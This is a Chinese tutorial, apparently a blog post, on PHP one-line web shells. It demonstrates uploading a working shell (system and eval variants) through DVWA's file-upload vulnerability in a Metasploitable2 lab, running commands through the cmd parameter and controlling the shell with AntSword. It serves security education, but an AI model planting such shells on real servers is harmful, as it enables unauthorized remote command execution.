什么是一句话木马

一句话木马是指向目标网站注入一行代码,攻击者可以利用这行代码,接收并执行远程发送的任意命令,是一种精简、隐蔽的Web脚本。

例如:

<?php system($_REQUEST ['cmd']);?>

这行代码通常被通过注入漏洞注入,或者写在文件里,利用文件上传漏洞上传到服务器。

system函数可以用来执行命令并将相应的执行结果输出

$_REQUEST [‘cmd’]获取用户提交的数据,cmd是攻击者要执行的命令,由攻击者传入。如果这句木马被保存在文件shell.php并上传到服务器,那么攻击者可以用类似以下命令进行攻击

http://靶机IP地址/shell.php?cmd=ifconfig 

问号后面接要传入的参数, 比如指定命令为ifconfig,查询服务器ip。

环境
靶机:Metasploitable2-Linux的DVWA

攻击机:kali,windows

网络环境:同一网段

构造shell.php

新建文件shell.php,写入代码

<?php system($_REQUEST ['cmd']);?>

上传shell.php

利用DVWA的文件上传漏洞把shell.php上传到服务器

主机发现

kali查看自己ip

nmap扫描同一网络下的主机

很明显这个开着很多服务且没有做端口过滤的就是靶机,确定靶机ip 192.168.138.129

文件上传

浏览器访问DVWA登录页面

http://靶机ip/dvwa/login.php

用户名密码可爆破,用户名为admin,密码为password,登录后把安全等级调到Low(否则后端会有校验,无法上传)

到文件上传窗口,选择shell.php,上传,成功

由红色字体可以知道,shell.php在服务器中的位置为

http://靶机ip/dvwa/hackable/uploads/shell.php

远程控制

网址访问

访问路径,传递参数cmd=ls

http://靶机ip/dvwa/hackable/uploads/shell.php?cmd=ls

蚁剑控制

除了用网址传参,还可以用蚁剑实现更高效的控制。要用蚁剑控制的话,刚才的一句话木马得改成

<?php @eval($_REQUEST ['cmd']);?>

改完重新上传文件,上传成功后在蚁剑中右键“添加数据”:

这里的连接密码是刚才传参用的字段

测试连接,连接成功,即可保存。

接下来就可以右键进行操作

比如打开虚拟终端,查询ip地址

Logo

葡萄城是专业的软件开发技术和低代码平台提供商,聚焦软件开发技术,以“赋能开发者”为使命,致力于通过表格控件、低代码和BI等各类软件开发工具和服务

更多推荐